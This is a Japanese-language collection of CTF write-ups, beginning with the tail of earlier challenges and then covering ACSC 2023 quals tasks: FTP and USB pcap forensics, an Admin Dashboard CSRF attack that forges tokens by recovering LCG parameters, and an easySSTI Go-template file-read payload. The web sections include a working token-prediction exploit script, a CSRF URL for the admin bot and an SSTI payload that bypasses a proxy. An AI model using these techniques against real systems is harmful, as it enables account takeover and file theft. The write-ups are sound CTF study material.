_onsuo}04afr__ar_u1ut_ksffklas_hsce33f_e3p_hn

まあ、さすがにこれだけではないようだ。
まじめにFTPの部分を読んでみる。
試しにTCPのストリーム#0を見てみると以下のような感じであった。

220 FTP Server
USER user
331 Please specify the password.
PASS 123
230 Login successful.
SYST
215 UNIX Type: L8
CWD 342
250 Directory successfully changed.
TYPE I
200 Switching to Binary mode.
PASV
227 Entering Passive Mode (0,0,0,0,156,70).
RETR flagpart.txt
150 Opening BINARY mode data connection for flagpart.txt (1 bytes).
226 Transfer complete.
QUIT
221 Goodbye.

色々見てみるとCWDの部分とPassive Modeでのポートのみ違っていて他は同じようなリクエストだった。
Passive Modeで使用しているポートを復元すれば、どのCWDに対して取得されたデータがどのポートで受け取っているかがわかる。
同一ポートが使われている場合があるが、先に取得されたものが先に渡されるという前提を立てて時系列準にマッピングすればよい。
これでCWDに対応する1byte分が特定できるので、CWDでソートして文字列を復元すればフラグになる。
これを全部人力でやったのが以下の表で、これでフラグが復元可能である。

CWD: CWDの値
No: TCPストリーム番号
PsvPrt: Passive Modeで使用されるポート
Da: 送られているデータ

CWD No PsvPrt Da
================
342 00 156,70 6b
343 01 156,68 61
344 02 156,69 6c
345 03 156,70 6d
346 04 156,64 61
347 05 156,68 72
348 06 156,72 7b
349 07 156,66 73
350 08 156,69 68
351 09 156,69 75
352 10 156,70 66
353 12 156,69 66
354 11 156,73 6c
355 13 156,64 65
356 15 156,71 5f
357 14 156,69 73
358 16 156,68 68
359 18 156,67 75
360 17 156,70 66
361 19 156,72 66
362 20 156,68 31
363 21 156,72 65
364 22 156,73 5f
365 25 156,71 63
366 27 156,66 61
367 24 156,72 6e
368 26 156,72 5f
369 23 156,68 79
370 32 156,64 6f
371 29 156,73 75
372 30 156,68 5f
373 31 156,70 6b
374 28 156,69 33
375 40 156,67 33
376 54 156,64 70
377 37 156,72 5f
378 38 156,68 74
379 35 156,71 72
380 41 156,67 34
381 36 156,71 63
382 39 156,70 6b
383 43 156,70 5f
384 34 156,73 6f
385 50 156,66 66
386 42 156,72 5f
387 33 156,72 77
388 47 156,66 68
389 44 156,67 65
390 49 156,73 72
391 53 156,68 65
392 45 156,71 5f
393 52 156,66 74
394 48 156,65 68
395 46 156,73 33
396 51 156,65 5f
397 55 156,69 63
398 57 156,69 61
399 56 156,70 72
400 63 156,66 64
401 59 156,66 73
402 58 156,67 5f
403 60 156,67 61
404 61 156,69 72
405 62 156,66 65
406 64 156,64 5f
407 70 156,67 73
408 68 156,72 68
409 65 156,69 75
410 67 156,67 66
411 66 156,72 66
412 69 156,69 6c
413 71 156,70 33
414 72 156,65 64
415 74 156,72 5f
416 73 156,66 6e
417 77 156,70 30
418 78 156,69 77
419 76 156,72 7d
420 75 156,69 0a

[forensics] sewing-waste-and-agriculture-leftovers

data部分を持ってきてひたすら眺めると、0x00になっている部分は欠損部分であるように見える。
適当にCyberChefにhexを突っ込むと、0x00は.にしてくれるので、以下のような感じの文字列が出てくる。

..l..r{....t..i........d0.._.....e..m...e...u.......g.....
.a..a.{.._4..........._d0.._..c.......y.e..ou.._.s........
k..m....f_....ir........0.............y.......e..s1.......

最初の3列を抜粋してきたが、同じ部分に同じ文字が割り当たっているように見える。
これを適当にマージしてみると、

kalmar{.f_4t..ir......_d0.._..c..e..m.y.e..ou.e_.s1.g.....

となり、かなりそれっぽい感じになる。
他のものも見ながら欠損部分を埋めていくとフラグが完成する。

Asian Cyber Security Challenge 2023 Quals Writeups

[Forensics] pcap-1

総パケット数が401193とかなりでかい。
プロトコル階層を見てみても、特にこれといった発見はないが、USBのシリアル通信も記録されているのが珍しい。

一旦tshark -r capture.pcapng -Y "usb" -w usb.pcapとしてUSBだけ取り出してきて眺める。
キーボード入力っぽいものも散見されたので、色々スクリプトはあるが簡単に以下を使って文字にしてみた。
w3irdsh4rk/CTF-Usb_Keyboard_Parser: USB Keyboard Parser Tool is an automated script that can extract HID data from.pcap or.pcapng files.

aasslliiddddeeeessss..ggggoooogglleeee..ccoooomm

CCTTFF    IInnttttttrroo  PPrrrreesssseeeennttaaaattiiiioonnbbbbccaaaabbaabbbbccbbccbbaaaaaabbbbaaaaaaaaaaaaHHooww  ttoo  bbee  ggoooodd  aaaatt  CCTTFFss??aaaaaaAA  bbeeggiinnnneeeerr''ss    gguuuuiiddddbbDDoonnoottcchheeaaaattaaaaaaGGgguuuueessssiiiinnnnggaaaaaabbiissbbbbaabbaaccaaggooooddaaaaaaaaccaaTTtthhiiiiss  iiiiss  aaaannnn    eexxxxaaaammpppppplleeee  ooooffff  aaaa  ffllllaaaagg::aaaaAACCSSCC{{aaaaff00rr33nnss11ccssbbbbaabbaaaaaaaaaaaaaaaaaaaaaaaa__bbaaaaiissccddaabb__aaaaaaaaaaaaaaaabbaaaaaaaass00aaaaaa__bbaaaaaaaaaaaaaaaabbaaaaaaaaaaaaaaffuunnaaaaaaaaaaaaaaaaaaaaddddaabbbbccacacddbbccbbaaaabbaaaaaa}}aabbaabbbbddbbababbbbbbbaabbbbbbbbbbbbeebbaabbaaddaaaaaaaaaaaaaaaaaabbbbaaaaaaaaaabbaabbbbaaaabbaaababaaaaaabbaaaaaaaaaaaabbccggaabbccccbbccbbccccbbbbbbaaaaccbbbbaaaaccaabbccbbddccbbbbbbbbbbcbcbaabbccccffddaaffaaaaddcceeddaaffccddddaaddeeddbbccccbbddccccbbffbbbbaabbaaaaaabbaabbaaaaaaccaaaabbaaccbbccbbbbcccccccccceeddaaffddaaeeaaffeeeeaaaabbaakkeeeeaaeeddffaaaaddeeeeaaeeddaabbeeffddaaaaaaddffeebbbbaagghhhhhhbbbbiihhiibbccbbjjhhddbbbbhhiiggddbbbbbbhheeggbbaaeeeeeeddeeeeeeaaccaaggddaaffbbccbbbbbbaaaaaabbaaaabbaaaaccccccaaaaaaaaaaaaaaaaaaaaaabbaaaabbaabbccccbbbbbbbbccbbbbbbaaccaaccccbbbbbbaaaabbaabbddccaaaaffbbdddccdccaaccddccddaaaaaaffddaaddccddaaccccccbbbbaabbaaaaaaaaaaaaaaaaaaaaIIff    yyoooouuuu  ccccaaaann    rrrreeeeeeaaaadd  tttttthhiissss  mmmmeessssaaggggee,,  ccoonnnnggrraaaattss!!11

BBuuuutt    tttthheeee  ffllaaaagggg  yyoooouu  sssseeeeee  nnnnooww  iiiissss  nnnnooootttt    tthhhheeee  aacccceeeepptteeeeeedd  ffllllaaaagg..aaaaaaaaaaaaccaaaaaabbbbccbbccaabbcbcbbbbbccbbbbbbccccaabbddccaaccddaaccccffaabbccccbbbbaabbbbaaaaaaaaaaaaaaaabbeeaabbaaaabbaaddbbaaaaaaaaccaaaaccaabbaaababbbbbbbbbbbbbccbbaaccbbbbbbaaaabbbbaabbbbaabbaabbaabbaaaaccbbbbbbbbcccbcbaabbbbbbaaccaaaabbaaaabbaaaaaaaabbaabbaaaaaaaa

IInnssppeeeecctt    tttthhhheeee  ppppaaaacccckkeeeettttssss  mmmmmmmmrrrreeee  ddddeeeeppllyy,,  aaaanndddd  yyoooouuuu  wwwwiillll  rrrreevvvveeaaaall  mmmmmmrrrreeee  iiiinnffoorrrrmmaaaattiiiioonn    aaaabboooouuuutttt  wwwwhhhhaaaatttt  iissss  hhhhaaaappppeeeenniiiinngg..

II''mm    wwwwrrrriittttiiiinnnngggg  tttthhhhhhiissss    hheerrrree,,  ootthhhheeeerrrrwwiissssee  1111000000  ppeeeeoooopppplllleeee    wwiillll    ddmm  mmmmeeee  ttttoo  ssssaayy    tttthhaaaatt    tttthhee  ffllaaaagggg  iiss  nnnnooootttt  wwoorrrrkkiiiinnnngg,,,,  oooooorr    tthhhheeee  cccchhaalllleennggggee  iiiissss  bbrrookkeenn..

BBttww,,    II  ddoonn''tttt  lliikkeeee  ffoorreennssssiiccccssss  ttoooo..  ::))

文字がダブっている。
この辺いつもよくわかっていないのだが、チャタリング的なあれ?と毎回思っていて、ちゃんとやろうとするとTimeを見ながらきれいにするべきだろうが、単純に重複を省く感じで処理する。
ChatGPTで「python3でテキストファイルを読み込んで一文字ずつ表示していくが、前の文字と同じであれば表示しないようなスクリプトを書いてください。」とお願いすると、
数秒で書き上げてくれた。

with open('filename.txt', 'r') as f:
    previous_char = ''
    for char in f.read():
        if char != previous_char:
            print(char, end='')
        previous_char = char

凄すぎる。以下のように変換される。

$ python3 chatgpt.py
aslides.gogle.com
CTF Intro PresentationbcababcbcbabaHow to be god at CTFs?aA beginer's guidbDonotcheataGguesingabisbabacagodacaTthis is an example of a flag:aACSC{af0r3ns1csbaba_baiscdab_abas0a_babafunadabcacacdbcbaba}ababdbabababebabadababababababababcgabcbcbcbacbacabcbdcbcbcbabcfdafadcedafcdadedbcbdcbfbabababacabacbcbcedafdaeafeabakeaedfadeaedabefdadfebaghbihibcbjhdbhigdbhegbaedeacagdafbcbababacabababcbcbacacbababdcafbdcdcacdcdafdadcdacbabaIf you can read this mesage, congrats!1
But the flag you se now is not the acepted flag.acabcbcabcbcbcbcabdcacdacfabcbababeababadbacacabababcbacbabababababacbcbcbabacababababa
Inspect the packets mre deply, and you wil reveal mre information about what is hapening.
I'm writing this here, otherwise 10 people wil dm me to say that the flag is not working, or the chalenge is broken.
Btw, I don't like forensics to. :)

んー、微妙なフラグが出てきたが、だめ。
abababというのが多いので、ゴミデバイスが邪魔しているんだろう…
改めてpcapを見返すとSourceが1.12.1と1.13.1がある。
OK.
分離してこれまでやった変換をやろう。

tshark -r usb.pcap -Y 'usb.src == "1.12.1"' -w usb1_12_1.pcap

abcababcbcbababababacacabababacdababababadabcacacdbcbabababdbabababebabadababababababababcgabcbcbcbacbacabcbdcbcbcbabcfdafadcedafcdadedbcbdcbfbabababacabacbcbcedafdaeafeabakeaedfadeaedabefdadfebaghbihibcbjhdbhigdbhegbaedeacagdafbcbababacabababcbcbacacbababdcafbdcdcacdcdafdadcdacbabacabcbcabcbcbcbcabdcacdacfabcbababeababadbacacabababcbacbabababababacbcbcbabacababababa

変な感じだが、よくよく見るとマウスのキャプチャっぽい。

tshark -r usb.pcap -Y 'usb.src == "1.13.1"' -w usb1_13_1.pcap

slides.gogle.com
CTF Intro PresentationHow to be god at CTFs?A beginer's guidDonotcheatGguesingisgodTthis is an example of a flag:ACSC{f0r3ns1cs_is_s0_fun}If you can read this mesage, congrats!1
But the flag you se now is not the acepted flag.
Inspect the packets mre deply, and you wil reveal mre information about what is hapening.
I'm writing this here, otherwise 10 people wil dm me to say that the flag is not working, or the chalenge is broken.
Btw, I don't like forensics to. :)

ということで作者の恨み節と共にフラグが見つかる。

[web] Admin Dashboard

index.phpを見ると

<?=($_SESSION["user"]["role"] === "admin") ? '<p class="lead">ACSC{REDACTED}</p>' : "";?>

とあるので、admin権限でindex.phpが見られればフラグが得られそう。
addadmin.phpを使えばadmin権限のユーザーが追加できる。これが使えそう。

addadmin.phpを見ると、ユーザー追加にif($_SESSION["user"]["role"] !== "admin"){という条件があるので、adminに踏ませる必要がある。
$_REQUESTのusername, password, csrf-tokenを用意すればいい。
$_REQUESTはGET,POST,Cookieのどれでも使えるので、GETのクエリストリングで渡すことにする。
username, passwordは任意のものを渡せばいいが、問題はcsrf-token。

初回のcsrf-tokenは未知の数A,Cと既知のusername,Mを使って

X[0] = A * username + C mod M

のように生成される。さらに、そこから30秒ごとに、

X[i+1] = A * X[i] + C mod M

のような感じで再生成されて使用される。
この形はまさに線形合同法であり、これはいくつかサンプルがあればパラメタが割り出せる。

詳しくはkurenaif先生の動画がいいと思う。
実装は線形合同法 (Linear Congruential Generators) によって生成される擬似乱数を予測するを借りてきた。

このcsrf-tokenは自分で作ったアカウントでも取得可能なので、自分でアカウントを作って30秒ごとにtokenをもらってきて、パラメタA,Cを割り出す。
これで、A,C,Mが既知でusernameはadminを使えばいいので、csrf-tokenが生成可能となった。
これを使って、adminユーザーの作成依頼をかけて、そのユーザーでアクセスすればフラグが得られる。

以下のようにcsrf-tokenのジェネレータを作成した

import requests
import re
import time
import string
import random
import binascii

BASE = 'http://admin-dashboard.chal.ctf.acsc.asia'
#BASE = 'http://localhost:8000'
username = ''.join(random.sample(string.ascii_letters, 10))
password = ''.join(random.sample(string.ascii_letters, 10))

print(f'username -> {username}')
print(f'password -> {password}')

s = requests.Session()
s.get(BASE + '/register', params={'username':username, 'password':password})
s.get(BASE + '/login', params={'username':username, 'password':password})

x = []
for _ in range(8):
    t = s.get(BASE + '/addadmin').text
    token = re.findall(r'<input type=\"hidden\" name=\"csrf-token\" value=\"([0-9a-f]*)\">', t)[0]
    print(token)
    x.append(int(token, 16))

    time.sleep(35)

# ============================================

# https://satto.hatenadiary.com/entry/solve-LCG

def solve_unknown_increment(states, A, M):
    B = (states[1] - A * states[0]) % M
    return B

from Crypto.Util.number import inverse

def solve_unknown_multiplier(states, M):
    A = (states[2] - states[1]) * inverse((states[1] - states[0]), M)
    return A

from Crypto.Util.number import inverse, GCD
from functools import reduce

def solve_unknown_modulus(states):
    diffs = [X_1 - X_0 for X_0, X_1 in zip(states, states[1:])]
    multiples_of_M = [T_2 * T_0 - T_1 ** 2 for T_0, T_1, T_2, in zip(diffs, diffs[1:], diffs[2:])]

    # GCD(GCD(multiples_of_M[0],multiples_of_M[1]), multiples_of_M[2])
    M = reduce(GCD, multiples_of_M)
    return M

M = solve_unknown_modulus(x)
A = solve_unknown_multiplier(x, M)
C = solve_unknown_increment(x, A, M)

# answer
print("A = {}".format(hex(A)))
print("C = {}".format(hex(C)))
print("M = {}".format(hex(M)))

# ============================================

from Crypto.Util.number import *

assert (A * bytes_to_long(username.encode()) + C) % M == x[0]

print(hex((A * bytes_to_long('admin'.encode()) + C) % M))

後は適当なユーザーを作成するように以下のようなURLをreportする。
botクローラーソースコードを確認すると、localhostにする必要がありそうなので注意。

http://localhost/addadmin?username=waeji25fgew&password=dfgj34ijgi&csrf-token=1fe69abb084e42434627a84405d722e0

これでadminユーザーが作られたはずなので、以上のreportであればwaeji25fgew:dfgj34ijgiでログインすればフラグが得られる。

[web] easySSTI

注目すべき点がtemplateというヘッダーがプロキシ経由で転送されるという部分。
これを使えば、template.htmlではなく任意のテンプレートを差し込める。
なので、これを使って任意のSSTIをして情報を抜く問題だが、
プロキシの制限によって/ACSC\{.*\}/が応答に含まれてはいけない。

テンプレートの生成部分を見ると、main.goでif err := t.Execute(buf, c); err != nil {の部分になる。 コンテキストとして渡している変数cはecho.Contextなので、ここから辿れるもので使えるものがないかを探していく。

https://github.com/labstack/echo/blob/master/context.go
ここを見ると、FileとかAttachmentとかで任意のファイルを返すことができる。
つまり、template: {{.File "/etc/passwd"}}みたいに書けるわけだが、そのまま返すとプロキシが弾いてしまう。
なので、別ルートを探す。

https://github.com/labstack/echo/blob/master/echo.go
ここを見ると、Filesystemといういかにも使えそうなものが見つかる。
OpenでFileを開くことができ、該当ファイルのfs.Fileを返してくれる。
template: {{ .Echo.Filesystem.Open "/etc/passwd" }}

https://pkg.go.dev/io/fs#File
ここを見ると使えそうなのはReadくらいしかなく、読込先として[]byteを指定する必要がある。
これを探すのに四苦八苦していたが…
なんとカスタムコード部分に用意されていた!
main.goにtmpl, ok := c.Get("template").([]byte)とあるので、.Get "template"とすればこの[]byteの変数を取り出すことができる!
これを保存先として指定して、そのあと表示してやれば、読込データが表示される。
つまり {{ (.Echo.Filesystem.Open "/flag").Read (.Get "template") }} {{.Get "template"}} という感じ。

[]byteをテンプレートで表示するときはarray形式でdecimalで表示されるっぽいのでプロキシもbypassできる。
decimal形式になっているので適用にCyberChefあたりでasciiとして読み込ませてやればフラグが出てくる。